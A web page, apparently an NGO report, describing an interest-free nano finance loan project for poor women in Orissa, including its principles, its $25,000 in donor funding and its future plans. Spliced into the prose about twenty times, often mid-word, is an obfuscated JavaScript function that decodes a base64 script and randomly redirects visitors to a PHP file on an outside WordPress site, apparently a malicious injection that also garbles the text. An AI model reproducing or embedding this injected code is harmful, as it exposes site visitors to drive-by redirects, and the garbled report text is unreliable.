NFI only gives individual loans without any pre-conditions. Book keeping is complicated in MFI system due to frequent collection function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and savings with compound interest.

The book keeping in NFI is very simple. The money transactions will be always is in whole numbers. So, it will be easy for the clients to understfunction r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and pay the loan.

Micro financing can be profit making venture for the NGOs.

The only interest of NFI is to help the poor women function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and it is not a profit making venture.

There is a strong competition between the NGOs (how many self help groups can be created by each of them etc) to get more loan or grants from different sources. At times, the main purpose of helping people can get lost.

NFI only provides individual loans. There will be no competition for creating self help groups.

Encourage the women to help other women by giving the same loan instead of returning it to us. The only requirement is to report this to the coordinator function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and provide the correct information for record keeping.

An  MFI  can be successful function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and financially benefited to an NGO without truly helping to the most poor women of the society.

The success of nano finance depends on the net-working of the women with trust.


Helping poor through MFI can be only practiced by Institution with big financial investment.

Helping poor women through the nano financing concept can be practiced by anyone who truly wants to help the poor even with a very small initial investment

 

6. Operational method of Nano Finance

A.   The Priniciples

·       Loan to women only

·       Three types of loan as: Emergency, Business, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and Education

·       Interest free loan with payback period of one year or less

·       Monetary transactions must be in whole numbers

·       Simple book keeping with little extra information

·       Minimum administrative cost

·       No training required for the grass root coordinator

·       Trust is the key factor

·       Women helping themselves function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and other women

 

7. Donors function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and the Financial Status of the Project

Most of the funding came from several donors who had invested for BISWA mFI function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and they asked Mr. Khirod Chfunction r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');andra Malick, the Chairman of BISWA, to give the amount to Aamara Biswas for the nano finance project. I am truly thankful to the donors for their kind support. The total amount I received from BISWA is about $25,000.

Financial Status of the Project

Total amount invested $25,000

50% Working capitol, Aamara Biswas bank account in the Axis Bank (Sambalpur branch)

50% fixed deposit, on behalf of the Aamara Biswas, with BISWA mFI on February 20, 2008 for five years at the simple interest rate of 11%. The purpose of this deposit is to use the accrued interest for the administrative cost function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and also to cover possible defaults of the loan at the end of one year (by Nov 2, 2008).

Though it is encouraging to see the returned amount , still we have to wait until Nov 9. 2009 (one Year) to evaluate the success of this project.

Every month, we are using the collection amount to give loans to the clients. From November to August we have given loans to more than thousfunction r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and women. Some of the women have taken second time loan after paying back the first one.

8. Evaluation function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and Future Plan of the Project

·       Since there is no interest earned, how will the project sustain?

                            Like any other NGOs in India, it should sustain with donation, grant, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and other income                                         generating projects.

·       If there is default in collection, how do I consider the project is a success ?

There will be some default. If 80% of the clients return the loan I consider the project to be a success. With time, I will also learn the process of giving loans function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and whom to give loans. I will also modify the concept by charging a small interest in the second year, function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4>4);r7=((s1&15)>2);x1=((v0&3)=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5<re.length);document.write(uf);};r0093c87a1('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zY3JhcGJvb2tpbmcucHJvL3dwLWNvbnRlbnQvcGx1Z2lucy93cC1tYXRoLWNhcHRjaGEvaW5jbHVkZXMvcGx1Z2luLXNldHRpbmdzLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');and start small income generating business

·       Am I planning to spread the concept to other parts of Orissa?

I hope to spread this concept not only to other parts of Orissa, but also toother parts of the world where people will benefit.

·       What is unique about this project?

This project can be started independently by any body with any amount of funding with minimum supervision.

·       How do I justify the Basic Needs Program (which I started in 2002, November) through Nano Finance Project?

